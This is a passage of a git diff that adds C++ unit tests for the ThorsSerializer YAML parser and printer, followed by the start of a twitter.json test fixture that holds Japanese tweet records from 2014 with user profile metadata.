parser.getValue(value2e) + ); + unsigned int value2f; + ASSERT_ANY_THROW( + parser.getValue(value2f) + ); + unsigned long value2g; + ASSERT_ANY_THROW( + parser.getValue(value2g) + ); + unsigned long long value2h; + ASSERT_ANY_THROW( + parser.getValue(value2h) + ); + + float value3a; + ASSERT_ANY_THROW( + parser.getValue(value3a) + ); + double value3b; + ASSERT_ANY_THROW( + parser.getValue(value3b) + ); + long double value3c; + ASSERT_ANY_THROW( + parser.getValue(value3c) + ); + + bool value4 = false; + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(true, value4); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + ASSERT_NO_THROW( + parser.getValue(value4) + ); + EXPECT_EQ(false, value4); +} +TEST(YamlParserTest, getRawValue) +{ + std::stringstream stream(R"([true, false, 0, 15.4, "The Best"])"); + TA::YamlParser parser(stream); + std::string value; + + EXPECT_EQ(ParserInterface::ParserToken::DocStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::ArrayStart, parser.getToken()); + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + + value = parser.getRawValue(); + EXPECT_EQ(std::string("true"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("false"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("0"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("15.4"), value); + + EXPECT_EQ(ParserInterface::ParserToken::Value, parser.getToken()); + value = parser.getRawValue(); + EXPECT_EQ(std::string("The Best"), value); +} + diff --git a/Extern/include/ThorsSerializer/test/YamlPrinterTest.cpp b/Extern/include/ThorsSerializer/test/YamlPrinterTest.cpp new file mode 100644 index 0000000..2bdfeff --- /dev/null +++ b/Extern/include/ThorsSerializer/test/YamlPrinterTest.cpp @@ -0,0 +1,237 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "YamlPrinter.h" +#include + +TEST(YamlPrinterTest, NullValue) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream); + + printer.openDoc(); + printer.addNull(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ("---null...", result); +} +TEST(YamlPrinterTest, ArrayTokens) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream); + + printer.openDoc(); + printer.openMap(-1); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ("---{}...", result); +} +TEST(YamlPrinterTest, MapTokens) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream); + + printer.openDoc(); + printer.openArray(-1); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ("---[]...", result); +} +TEST(YamlPrinterTest, ArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56); + printer.addValue(78.89); + printer.addValue(57l); + printer.addValue(58ll); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---[true,false,55,56,78.89,57,58,Astring]...)", result); +} +TEST(YamlPrinterTest, MapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.addValue(78.89); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---{K1:true,K2:false,K3:56,K4:78.89,K6:Astring}...)", result); +} +TEST(YamlPrinterTest, MapWithMapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.openMap(-1); + printer.addKey("K4"); + printer.addValue(78.89); + printer.closeMap(); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---{K1:{K1:true,K2:false},K3:56,K4:{K4:78.89},K6:Astring}...)", result); +} +TEST(YamlPrinterTest, MapWithArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + printer.addKey("K1"); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.addValue(static_cast(55)); + printer.addValue(56u); + printer.addValue(57ul); + printer.addValue(58ull); + printer.addValue(60.f); + printer.addValue(61.0L); + printer.closeArray(); + printer.addKey("K3"); + printer.addValue(56); + printer.addKey("K4"); + printer.openArray(-1); + printer.addValue(78.89); + printer.closeArray(); + printer.addKey("K6"); + printer.addValue(std::string("Astring")); + printer.closeMap(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---{K1:[true,false,55,56,57,58,60,61],K3:56,K4:[78.89],K6:Astring}...)", result); +} +TEST(YamlPrinterTest, ArrayWithMapValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + printer.openMap(-1); + printer.addKey("K1"); + printer.addValue(true); + printer.addKey("K2"); + printer.addValue(false); + printer.closeMap(); + printer.addValue(56); + printer.openMap(-1); + printer.addKey("K4"); + printer.addValue(78.89); + printer.closeMap(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---[{K1:true,K2:false},56,{K4:78.89},Astring]...)", result); +} +TEST(YamlPrinterTest, ArrayWithArrayValues) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + printer.openArray(-1); + printer.addValue(true); + printer.addValue(false); + printer.closeArray(); + printer.addValue(56); + printer.openArray(-1); + printer.addValue(78.89); + printer.closeArray(); + printer.addValue(std::string("Astring")); + printer.closeArray(); + printer.closeDoc(); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + EXPECT_EQ(R"(---[[true,false],56,[78.89],Astring]...)", result); +} +TEST(YamlPrinterTest, CloseMapWithArray) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openMap(-1); + ASSERT_ANY_THROW( + printer.closeArray(); + ); +} +TEST(YamlPrinterTest, CloseArrayWithMap) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + ASSERT_ANY_THROW( + printer.closeMap(); + ); +} +TEST(YamlPrinterTest, PuttingKeyInArray) +{ + std::stringstream stream; + ThorsAnvil::Serialize::YamlPrinter printer(stream, ThorsAnvil::Serialize::PrinterInterface::OutputType::Stream); + + printer.openDoc(); + printer.openArray(-1); + ASSERT_ANY_THROW( + printer.addKey("This old house"); + ); +} diff --git a/Extern/include/ThorsSerializer/test/data/twitter.json b/Extern/include/ThorsSerializer/test/data/twitter.json new file mode 100644 index 0000000..137fb51 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/data/twitter.json @@ -0,0 +1,15482 @@ +{ + "statuses": [ + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:15 +0000 2014", + "id": 505874924095815700, + "id_str": "505874924095815681", + "text": "@aym0566x \n\n名前:前田あゆみ\n第一印象:なんか怖っ!\n今の印象:とりあえずキモい。噛み合わない\n好きなところ:ぶすでキモいとこ😋✨✨\n思い出:んーーー、ありすぎ😊❤️\nLINE交換できる?:あぁ……ごめん✋\nトプ画をみて:照れますがな😘✨\n一言:お前は一生もんのダチ💖", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": 866260188, + "in_reply_to_user_id_str": "866260188", + "in_reply_to_screen_name": "aym0566x", + "user": { + "id": 1186275104, + "id_str": "1186275104", + "name": "AYUMI", + "screen_name": "ayuu0123", + "location": "", + "description": "元野球部マネージャー❤︎…最高の夏をありがとう…❤︎", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 262, + "friends_count": 252, + "listed_count": 0, + "created_at": "Sat Feb 16 13:40:25 +0000 2013", + "favourites_count": 235, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 1769, + "lang": "en", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/497760886795153410/LDjAwR_y_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/497760886795153410/LDjAwR_y_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/1186275104/1409318784", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "aym0566x", + "name": "前田あゆみ", + "id": 866260188, + "id_str": "866260188", + "indices": [ + 0, + 9 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:14 +0000 2014", + "id": 505874922023837700, + "id_str": "505874922023837696", + "text": "RT @KATANA77: えっそれは・・・(一同) http://t.co/PkCJAcSuYK", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 903487807, + "id_str": "903487807", + "name": "RT&ファボ魔のむっつんさっm", + "screen_name": "yuttari1998", + "location": "関西 ↓詳しいプロ↓", + "description": "無言フォローはあまり好みません ゲームと動画が好きですシモ野郎ですがよろしく…最近はMGSとブレイブルー、音ゲーをプレイしてます", + "url": "http://t.co/Yg9e1Fl8wd", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/Yg9e1Fl8wd", + "expanded_url": "http://twpf.jp/yuttari1998", + "display_url": "twpf.jp/yuttari1998", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 95, + "friends_count": 158, + "listed_count": 1, + "created_at": "Thu Oct 25 08:27:13 +0000 2012", + "favourites_count": 3652, + "utc_offset": null, + "time_zone": null, + "geo_enabled": false, + "verified": false, + "statuses_count": 10276, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/500268849275494400/AoXHZ7Ij_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/500268849275494400/AoXHZ7Ij_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/903487807/1409062272", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 23:49:35 +0000 2014", + "id": 505864943636197400, + "id_str": "505864943636197376", + "text": "えっそれは・・・(一同) http://t.co/PkCJAcSuYK", + "source": "Twitter Web Client", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 77915997, + "id_str": "77915997", + "name": "(有)刀", + "screen_name": "KATANA77", + "location": "", + "description": "プリキュア好きのサラリーマンです。好きなプリキュアシリーズはハートキャッチ、最愛のキャラクターは月影ゆりさんです。 http://t.co/QMLJeFmfMTご質問、お問い合わせはこちら http://t.co/LU8T7vmU3h", + "url": null, + "entities": { + "description": { + "urls": [ + { + "url": "http://t.co/QMLJeFmfMT", + "expanded_url": "http://www.pixiv.net/member.php?id=4776", + "display_url": "pixiv.net/member.php?id=…", + "indices": [ + 58, + 80 + ] + }, + { + "url": "http://t.co/LU8T7vmU3h", + "expanded_url": "http://ask.fm/KATANA77", + "display_url": "ask.fm/KATANA77", + "indices": [ + 95, + 117 + ] + } + ] + } + }, + "protected": false, + "followers_count": 1095, + "friends_count": 740, + "listed_count": 50, + "created_at": "Mon Sep 28 03:41:27 +0000 2009", + "favourites_count": 3741, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 19059, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/808597451/45b82f887085d32bd4b87dfc348fe22a.png", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/808597451/45b82f887085d32bd4b87dfc348fe22a.png", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/480210114964504577/MjVIEMS4_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/480210114964504577/MjVIEMS4_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/77915997/1404661392", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 82, + "favorite_count": 42, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [], + "media": [ + { + "id": 505864942575034400, + "id_str": "505864942575034369", + "indices": [ + 13, + 35 + ], + "media_url": "http://pbs.twimg.com/media/BwUxfC6CIAEr-Ye.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwUxfC6CIAEr-Ye.jpg", + "url": "http://t.co/PkCJAcSuYK", + "display_url": "pic.twitter.com/PkCJAcSuYK", + "expanded_url": "http://twitter.com/KATANA77/status/505864943636197376/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 338, + "resize": "fit" + }, + "small": { + "w": 340, + "h": 192, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "large": { + "w": 765, + "h": 432, + "resize": "fit" + } + } + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + "retweet_count": 82, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "KATANA77", + "name": "(有)刀", + "id": 77915997, + "id_str": "77915997", + "indices": [ + 3, + 12 + ] + } + ], + "media": [ + { + "id": 505864942575034400, + "id_str": "505864942575034369", + "indices": [ + 27, + 49 + ], + "media_url": "http://pbs.twimg.com/media/BwUxfC6CIAEr-Ye.jpg", + "media_url_https": "https://pbs.twimg.com/media/BwUxfC6CIAEr-Ye.jpg", + "url": "http://t.co/PkCJAcSuYK", + "display_url": "pic.twitter.com/PkCJAcSuYK", + "expanded_url": "http://twitter.com/KATANA77/status/505864943636197376/photo/1", + "type": "photo", + "sizes": { + "medium": { + "w": 600, + "h": 338, + "resize": "fit" + }, + "small": { + "w": 340, + "h": 192, + "resize": "fit" + }, + "thumb": { + "w": 150, + "h": 150, + "resize": "crop" + }, + "large": { + "w": 765, + "h": 432, + "resize": "fit" + } + }, + "source_status_id": 505864943636197400, + "source_status_id_str": "505864943636197376" + } + ] + }, + "favorited": false, + "retweeted": false, + "possibly_sensitive": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:14 +0000 2014", + "id": 505874920140591100, + "id_str": "505874920140591104", + "text": "@longhairxMIURA 朝一ライカス辛目だよw", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": 505874728897085440, + "in_reply_to_status_id_str": "505874728897085440", + "in_reply_to_user_id": 114188950, + "in_reply_to_user_id_str": "114188950", + "in_reply_to_screen_name": "longhairxMIURA", + "user": { + "id": 114786346, + "id_str": "114786346", + "name": "PROTECT-T", + "screen_name": "ttm_protect", + "location": "静岡県長泉町", + "description": "24 / XXX / @andprotector / @lifefocus0545 potato design works", + "url": "http://t.co/5EclbQiRX4", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/5EclbQiRX4", + "expanded_url": "http://ap.furtherplatonix.net/index.html", + "display_url": "ap.furtherplatonix.net/index.html", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 1387, + "friends_count": 903, + "listed_count": 25, + "created_at": "Tue Feb 16 16:13:41 +0000 2010", + "favourites_count": 492, + "utc_offset": 32400, + "time_zone": "Osaka", + "geo_enabled": false, + "verified": false, + "statuses_count": 12679, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/481360383253295104/4B9Rcfys_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/481360383253295104/4B9Rcfys_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/114786346/1403600232", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 0, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "longhairxMIURA", + "name": "miura desu", + "id": 114188950, + "id_str": "114188950", + "indices": [ + 0, + 15 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:14 +0000 2014", + "id": 505874919020699650, + "id_str": "505874919020699648", + "text": "RT @omo_kko: ラウワン脱出→友達が家に連んで帰ってって言うから友達ん家に乗せて帰る(1度も行ったことない田舎道)→友達おろして迷子→500メートルくらい続く変な一本道進む→墓地で行き止まりでUターン出来ずバックで500メートル元のところまで進まないといけない←今ここ", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 392585658, + "id_str": "392585658", + "name": "原稿", + "screen_name": "chibu4267", + "location": "キミの部屋の燃えるゴミ箱", + "description": "RTしてTLに濁流を起こすからフォローしない方が良いよ 言ってることもつまらないし 詳細→http://t.co/ANSFlYXERJ 相方@1life_5106_hshd 葛西教徒その壱", + "url": "http://t.co/JTFjV89eaN", + "entities": { + "url": { + "urls": [ + { + "url": "http://t.co/JTFjV89eaN", + "expanded_url": "http://www.pixiv.net/member.php?id=1778417", + "display_url": "pixiv.net/member.php?id=…", + "indices": [ + 0, + 22 + ] + } + ] + }, + "description": { + "urls": [ + { + "url": "http://t.co/ANSFlYXERJ", + "expanded_url": "http://twpf.jp/chibu4267", + "display_url": "twpf.jp/chibu4267", + "indices": [ + 45, + 67 + ] + } + ] + } + }, + "protected": false, + "followers_count": 1324, + "friends_count": 1165, + "listed_count": 99, + "created_at": "Mon Oct 17 08:23:46 +0000 2011", + "favourites_count": 9542, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 369420, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/453106940822814720/PcJIZv43.png", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/453106940822814720/PcJIZv43.png", + "profile_background_tile": true, + "profile_image_url": "http://pbs.twimg.com/profile_images/505731759216943107/pzhnkMEg_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/505731759216943107/pzhnkMEg_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/392585658/1362383911", + "profile_link_color": "5EB9FF", + "profile_sidebar_border_color": "FFFFFF", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": false, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sat Aug 30 16:51:09 +0000 2014", + "id": 505759640164892700, + "id_str": "505759640164892673", + "text": "ラウワン脱出→友達が家に連んで帰ってって言うから友達ん家に乗せて帰る(1度も行ったことない田舎道)→友達おろして迷子→500メートルくらい続く変な一本道進む→墓地で行き止まりでUターン出来ずバックで500メートル元のところまで進まないといけない←今ここ", + "source": "Twitter for iPhone", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 309565423, + "id_str": "309565423", + "name": "おもっこ", + "screen_name": "omo_kko", + "location": "", + "description": "ぱんすと", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 730, + "friends_count": 200, + "listed_count": 23, + "created_at": "Thu Jun 02 09:15:51 +0000 2011", + "favourites_count": 5441, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 30012, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/499126939378929664/GLWpIKTW_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/499126939378929664/GLWpIKTW_normal.jpeg", + "profile_banner_url": "https://pbs.twimg.com/profile_banners/309565423/1409418370", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweet_count": 58, + "favorite_count": 67, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + "retweet_count": 58, + "favorite_count": 0, + "entities": { + "hashtags": [], + "symbols": [], + "urls": [], + "user_mentions": [ + { + "screen_name": "omo_kko", + "name": "おもっこ", + "id": 309565423, + "id_str": "309565423", + "indices": [ + 3, + 11 + ] + } + ] + }, + "favorited": false, + "retweeted": false, + "lang": "ja" + }, + { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Sun Aug 31 00:29:13 +0000 2014", + "id": 505874918198624260, + "id_str": "505874918198624256", + "text": "RT @thsc782_407: #LEDカツカツ選手権\n漢字一文字ぶんのスペースに「ハウステンボス」を収める狂気 http://t.co/vmrreDMziI", + "source": "Twitter for Android", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 753161754, + "id_str": "753161754", + "name": "ねこねこみかん*", + "screen_name": "nekonekomikan", + "location": "ソーダ水のあふれるビンの中", + "description": "猫×6、大学・高校・旦那各1と暮らしています。猫、子供、日常思った事をつぶやいています/今年の目標:読書、庭の手入れ、ランニング、手芸/猫*花*写真*詩*林ももこさん*鉄道など好きな方をフォローさせていただいています。よろしくお願いします♬", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 217, + "friends_count": 258, + "listed_count": 8, + "created_at": "Sun Aug 12 14:00:47 +0000 2012", + "favourites_count": 7650, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": false, + "verified": false, + "statuses_count": 20621, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "C0DEED", + "profile_background_image_url": "http://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_image_url_https": "https://abs.twimg.com/images/themes/theme1/bg.png", + "profile_background_tile": false, + "profile_image_url": "http://pbs.twimg.com/profile_images/470627990271848448/m83uy6Vc_normal.jpeg", + "profile_image_url_https": "https://pbs.twimg.com/profile_images/470627990271848448/m83uy6Vc_normal.jpeg", + "profile_link_color": "0084B4", + "profile_sidebar_border_color": "C0DEED", + "profile_sidebar_fill_color": "DDEEF6", + "profile_text_color": "333333", + "profile_use_background_image": true, + "default_profile": true, + "default_profile_image": false, + "following": false, + "follow_request_sent": false, + "notifications": false + }, + "geo": null, + "coordinates": null, + "place": null, + "contributors": null, + "retweeted_status": { + "metadata": { + "result_type": "recent", + "iso_language_code": "ja" + }, + "created_at": "Fri Feb 28 16:04:13 +0000 2014", + "id": 439430848190742500, + "id_str": "439430848190742528", + "text": "#LEDカツカツ選手権\n漢字一文字ぶんのスペースに「ハウステンボス」を収める狂気 http://t.co/vmrreDMziI", + "source": "Twitter Web Client", + "truncated": false, + "in_reply_to_status_id": null, + "in_reply_to_status_id_str": null, + "in_reply_to_user_id": null, + "in_reply_to_user_id_str": null, + "in_reply_to_screen_name": null, + "user": { + "id": 82900665, + "id_str": "82900665", + "name": "[90]青葉台 芦 (第二粟屋) 屋", + "screen_name": "thsc782_407", + "location": "かんましき", + "description": "湯の街の元勃酩姦なんちゃら大 赤い犬の犬(外資系) 肥後で緑ナンバー屋さん勤め\nくだらないことしかつぶやかないし、いちいち訳のわからない記号を連呼するので相当邪魔になると思います。害はないと思います。のりものの画像とかたくさん上げます。さみしい。車輪のついたものならだいたい好き。", + "url": null, + "entities": { + "description": { + "urls": [] + } + }, + "protected": false, + "followers_count": 587, + "friends_count": 623, + "listed_count": 30, + "created_at": "Fri Oct 16 15:13:32 +0000 2009", + "favourites_count": 1405, + "utc_offset": 32400, + "time_zone": "Tokyo", + "geo_enabled": true, + "verified": false, + "statuses_count": 60427, + "lang": "ja", + "contributors_enabled": false, + "is_translator": false, + "is_translation_enabled": false, + "profile_background_color": "352726", + "profile_background_image_url": "http://pbs.twimg.com/profile_background_images/154137819/__813-1103.jpg", + "profile_background_image_url_https": "https://pbs.twimg.com/profile_background_images/154137819/__813-1103.jpg", + "profile_background_tile": false, + 